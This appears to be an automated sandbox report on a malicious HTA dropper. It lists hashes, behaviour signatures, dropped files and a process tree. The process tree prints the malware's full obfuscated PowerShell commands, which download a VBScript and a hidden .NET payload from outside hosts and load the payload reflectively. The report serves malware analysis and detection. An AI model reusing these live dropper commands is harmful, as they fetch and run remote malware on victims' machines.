Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    17-11-2024 01:08

General

  • Target

    5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8.hta

  • Size

    178KB

  • MD5

    43f15554d66e784d988aa2da3ed2a136

  • SHA1

    6d0fb362a8aa62a046e25435e6a525e2ca61492d

  • SHA256

    5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8

  • SHA512

    2c06f6a513bd10d648dfec384fc1056b0e8f39a830e0671f9098961076de61ac7db5e0dc7724a7ffd403a4769b90324aeb785d0b16c13dfe7dd24342a9460cd9

  • SSDEEP

    96:4vCl17J1YiZVGTVy1YiZQGTVMFxfwVXNewJrC1YiZo1YiZDjGTVs1YiZkQ:4vCldfhjGTOheGTqHwShohxjGTYhuQ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\5c7f1d6ac7671a1b1764dba808cf52f5c5c48ce1cbd0f1c16d8f6cf0afe5d3c8.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\SysWOW64\wiNdOwSPowErSHelL\v1.0\poWErSHELL.EXE
      "C:\Windows\SYsTem32\wiNdOwSPowErSHelL\v1.0\poWErSHELL.EXE" "POwERshelL.ExE -eX bYpasS -NOP -w 1 -C DeVIceCrEdENTialdEPLOYMeNT ; InVOke-expRESSioN($(InVokE-eXpReSsioN('[systEM.text.encoDinG]'+[ChAr]0x3A+[ChaR]0x3A+'UtF8.getSTRing([system.conVeRt]'+[chaR]0X3a+[Char]0x3A+'fROMbASE64sTrinG('+[CHAR]0X22+'JHc4Mm1RRCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtVHlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tZW1iRVJkRUZJTmlUaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTG1PTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBJdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHZ2J5dVJqRE9ULHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN6S3pyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwVVIsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUHpYKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAidUdVV29mIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQU1lc3BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5UW9Oc3ZVWVFmICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3ODJtUUQ6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzMyL3NlZW15YmVzdHRoaW5nc3dpdGhlbnRpcmVsaWZldGltZXRoaW5nc3RvZG9teWJlc3QudElGIiwiJGVOdjpBUFBEQVRBXHNlZW15YmVzdHRoaW5nc3dpdGhlbnRpcmVsaWZldGltZXRoaW5nc3RvZG9teWIudmJTIiwwLDApO1NUYXJULXNMZUVQKDMpO2lleCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU5WOkFQUERBVEFcc2VlbXliZXN0dGhpbmdzd2l0aGVudGlyZWxpZmV0aW1ldGhpbmdzdG9kb215Yi52YlMi'+[ChAr]34+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2880
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bYpasS -NOP -w 1 -C DeVIceCrEdENTialdEPLOYMeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2720
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wamixtf4.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2672
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF74B.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF74A.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1920
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seemybestthingswithentirelifetimethingstodomyb.vbS"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1256
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHZFckJPU2VQUkVmRVJlbkNlLlRPc3RyaW5nKClbMSwzXSsneCctSm9JbicnKSAoKCdwd2dpbWFnZVVybCcrJyAnKyc9IG9UQWh0dHBzOi8vMTAxNy5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9MkFhX2JXbzlSZXU0NXQ3QlUxa1Znc2Q5cFQ5cGdTU2x2U3RHcm5UJysnSUNmRmhtVEtqM0xDNlNRdEljT2NfVDM1dyZwa192aWQ9ZmQ0ZjYxNGJiJysnMjA5YzYyYzE3MzA5NDUxNzZhMDkwNGYgb1RBOycrJ3B3Z3dlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7cHdnaW1hZ2VCeXRlcyA9IHB3Z3dlYkNsaWVudC5Eb3dubCcrJ29hZERhdGEocHdnaW1hZ2VVcmwpO3B3Z2ltYWdlVGV4dCA9IFtTeXN0ZW0uVCcrJ2V4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKHB3Z2ltYWdlQnl0ZXMpO3B3Z3N0YXJ0RmxhZyA9IG9UQTw8QkFTRTY0XycrJ1NUQVJUPj5vVEE7cHdnZW5kRmxhZyA9IG9UQTw8QkFTRTY0X0VORD4+b1RBO3B3Z3N0YXJ0SW5kZXggPSBwd2dpbWFnZVRleHQuSW5kZXhPZihwd2dzdGFydEZsYWcpO3B3Z2VuZEluZGV4ID0gcHdnaW1hZ2VUZXh0LkluZGV4JysnT2YocHdnZW5kRmxhZyk7cHdnJysnc3RhcnRJbmRleCAtZ2UgMCAtYW5kIHB3Z2VuZEluZGV4IC1ndCBwd2dzdGFydEluZGV4O3B3Z3N0YXJ0SW5kZXggKz0gcHdnc3RhcnRGbGFnLkxlbmd0aDtwd2diYXNlNjRMZW5ndGggPSBwd2dlbmRJbmRleCAtIHB3Z3N0YXJ0SW5kZXg7cHdnYmFzZTY0Q29tbWFuZCcrJyA9IHB3Z2ltYWdlVGV4dC5TdWJzdHJpbmcocHdnc3RhcnRJbmRleCwgcHdnYmFzZTY0TGVuZ3RoKTtwd2diYXNlNjRSZXZlcnNlZCA9IC1qb2luIChwd2diYXNlNjRDb21tYW5kLlRvJysnQ2hhckFycmF5KCkgNG91IEZvckVhY2gtT2JqZWN0IHsgcHdnXyB9KVstMS4uLShwd2diYXNlNjRDb21tYW5kLkxlbmd0aCldO3B3Z2NvbScrJ21hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcocHdnYmFzZTY0UmV2ZXJzZWQpO3B3Z2xvYWRlZEFzc2VtYmwnKyd5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChwd2djb21tYW5kQnl0ZXMpO3B3Z3ZhaU1ldGhvZCA9IFtkbicrJ2xpYi5JTy5Ib21lXS5HJysnZXRNZXRob2Qob1RBVkFJb1RBKTtwd2d2YWknKydNZXRob2QuSW52b2tlKHB3JysnZ251bGwsIEAob1RBdHh0LlNMTFBNUy8yMy82MzEuMzQyLjMuMjkxLy86cHR0aG9UQSwgb1RBZGVzYXRpdmFkb29UQSwnKycgb1RBZGVzJysnYXRpdmFkb29UQSwgb1RBZGVzYXQnKydpdmFkb29UQSwgb1RBYXNwbmV0X2NvbXBpbGVyb1RBLCBvVEFkJysnZXNhdGl2YWRvb1RBLCBvVEFkZXNhdGl2YWRvb1RBLG9UQWRlc2F0aXZhZG9vVEEsb1RBZGVzYXRpdmFkJysnb29UQSxvVEFkZScrJ3NhdGl2YWRvb1RBLG9UQWRlc2F0aXZhZG9vVEEsb1RBZGVzYXRpJysndmFkb29UQSxvVCcrJ0Exb1RBLG9UJysnQWRlc2F0aXZhZG9vVEEpKTsnKS5SZXBMQWNlKCdwd2cnLFtTVHJJbmddW0NoQXJdMzYpLlJlcExBY2UoKFtDaEFyXTExMStbQ2hBcl04NCtbQ2hBcl02NSksW1NUckluZ11bQ2hBcl0zOSkuUmVwTEFjZSgoW0NoQXJdNTIrW0NoQXJdMTExK1tDaEFyXTExNyksJ3wnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2444
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $vErBOSePREfERenCe.TOstring()[1,3]+'x'-JoIn'') (('pwgimageUrl'+' '+'= oTAhttps://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnT'+'ICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb'+'209c62c1730945176a0904f oTA;'+'pwgwebClient = New-Object System.Net.WebClient;pwgimageBytes = pwgwebClient.Downl'+'oadData(pwgimageUrl);pwgimageText = [System.T'+'ext.Encoding]::UTF8.GetString(pwgimageBytes);pwgstartFlag = oTA<<BASE64_'+'START>>oTA;pwgendFlag = oTA<<BASE64_END>>oTA;pwgstartIndex = pwgimageText.IndexOf(pwgstartFlag);pwgendIndex = pwgimageText.Index'+'Of(pwgendFlag);pwg'+'startIndex -ge 0 -and pwgendIndex -gt pwgstartIndex;pwgstartIndex += pwgstartFlag.Length;pwgbase64Length = pwgendIndex - pwgstartIndex;pwgbase64Command'+' = pwgimageText.Substring(pwgstartIndex, pwgbase64Length);pwgbase64Reversed = -join (pwgbase64Command.To'+'CharArray() 4ou ForEach-Object { pwg_ })[-1..-(pwgbase64Command.Length)];pwgcom'+'mandBytes = [System.Convert]::FromBase64String(pwgbase64Reversed);pwgloadedAssembl'+'y = [System.Reflection.Assembly]::Load(pwgcommandBytes);pwgvaiMethod = [dn'+'lib.IO.Home].G'+'etMethod(oTAVAIoTA);pwgvai'+'Method.Invoke(pw'+'gnull, @(oTAtxt.SLLPMS/23/631.342.3.291//:ptthoTA, oTAdesativadooTA,'+' oTAdes'+'ativadooTA, oTAdesat'+'ivadooTA, oTAaspnet_compileroTA, oTAd'+'esativadooTA, oTAdesativadooTA,oTAdesativadooTA,oTAdesativad'+'ooTA,oTAde'+'sativadooTA,oTAdesativadooTA,oTAdesati'+'vadooTA,oT'+'A1oTA,oT'+'AdesativadooTA));').RepLAce('pwg',[STrIng][ChAr]36).RepLAce(([ChAr]111+[ChAr]84+[ChAr]65),[STrIng][ChAr]39).RepLAce(([ChAr]52+[ChAr]111+[ChAr]117),'|'))"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1260

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESF74B.tmp

    Filesize

    1KB

    MD5

    55f97d0943b5afdd2830df6e908ccb7a

    SHA1

    243ee518b565148cac7bca0d946f3ccb9027cfce

    SHA256

    cb3a3056ef5cc525f5168b8a14a5dadc74b2a4258e12e1b0aa388888c441cb3d

    SHA512

    b821b9339dfd2f9fc5b93c69d5726a2f03fca51e9a3a5626c9226cf0b44d94eb7eaa79a5702a899f9942c71e5eeb4584a357ae967684c7494080d937ceeaa465

  • C:\Users\Admin\AppData\Local\Temp\wamixtf4.dll

    Filesize

    3KB

    MD5

    8ac5266a14ba6c698659da3097be6849

    SHA1

    78ed63a936fb759be63cf96fbb4e711f1942cb25

    SHA256

    4ddd2835750e4eb63f4d1fb0985e3f8847957846b531aeaa94b2ed721ef6753e

    SHA512

    5ec696534e8fb34a77f7bcc959581071d28e80d8adc2757bd19e68a91dea7b25e93fa1ce8c5dcbf0ac9c978610770c59f6293d839f3773d6b7cfa13bd48472ee

  • C:\Users\Admin\AppData\Local\Temp\wamixtf4.pdb

    Filesize

    7KB

    MD5

    619ad225db83a6739d2c0e493850d442

    SHA1

    e9efd267f63ed8f1e1e65c4cfbecb80a6e2a472c

    SHA256

    27546730fc8d12df578ce99ca49a2ca5b5d0f6f3be7970b0ac97f40795679075

    SHA512

    33a5ae8fa30e53174639e8a0635e8dd7eca5846f262d37b7f7a36f0a29e23e120325f49a3848f2d38c7c96c38de73831e0888b8d8164a2c9f9f37a7110e2bf6a

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    d1255d846b6f61444140fb8300a506a2

    SHA1

    8af70b5cf64bfa1a12f4217e444deb68cddc69a8

    SHA256

    d70a4adf0e37e8eb6595f5616ecee236605dee6467a0dcd8f03dc6ded825edf0

    SHA512

    8062bfd4de3582c167401061a1e47ab5789b76e7e0bd803445f7dacfef1d48dc0eeb079cd996bbe2e48ec5cc7b2133f87d548953a6c98e7ce167318c9515df98

  • C:\Users\Admin\AppData\Roaming\seemybestthingswithentirelifetimethingstodomyb.vbS

    Filesize

    138KB

    MD5

    100d059d24305dc95db276aa180dc4cf

    SHA1

    cb2e9d345f365a0dc65b61cf40865b223c4688ad

    SHA256

    87be9d53a554146bcbab91270c1ef35561f5168e6f84ea86c26d23b4c803247d

    SHA512

    14f70627cbb1adbb26d511d92558c471ca5354a1d0fa54a33d22d7c4933b6e1873871750f53318cd9c8d4e8b3f7627bac2f4bac3f295a67e2d35756ad951c8f5

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCF74A.tmp

    Filesize

    652B

    MD5

    a057999aa90f845b6d08f1b1771c712d

    SHA1

    de16575efd9b01080cb5854fbd8677cea49bd520

    SHA256

    f0a52541008891fc28a68c3362067603c272acb20f5e76a94099c09be8c20d96

    SHA512

    037914ac6a44014100ad5d3ea2e87ddb6b38c6613426b6c8ea9fa33c938865fd85dff22e843f36f88dad5d994caad49016a907c819d9a384e9234f3421b2105d

  • \??\c:\Users\Admin\AppData\Local\Temp\wamixtf4.0.cs

    Filesize

    476B

    MD5

    405282350b57e6d41b6d58a029558c64

    SHA1

    6c50ec9dd86fa438a3bc1af48a3b49f1bc364e49

    SHA256

    11a1bdc49e30fac7bc2cbebd22d8f4f072a449141ddd7e197f85ccb2ab331506

    SHA512

    5f45c0c1451fe0c044138c44b3708baf9468df7d91d1201dc05fcef629f9cab8fd9f66cc14a37c62a189829f1de22d4a1135813226bff45181283f59706de351

  • \??\c:\Users\Admin\AppData\Local\Temp\wamixtf4.cmdline

    Filesize

    309B

    MD5

    35130ab16e74916c2b0eefd895a7d268

    SHA1

    226cb883bd12d212fa93b56ab322236b6b1c1a41

    SHA256

    5aef07051d9deb880eca5fc99d67876cfe2c96853ffbebf9e5d77479437afff0

    SHA512

    6bbd336da36a0c0e6f6da5f791862979758e17fe8bdac65bc28e11af1f75b6005f8520f456a46e17b5ebd3613ec1e6f35b6ca659efdb03c853a0a3dbff7e1df8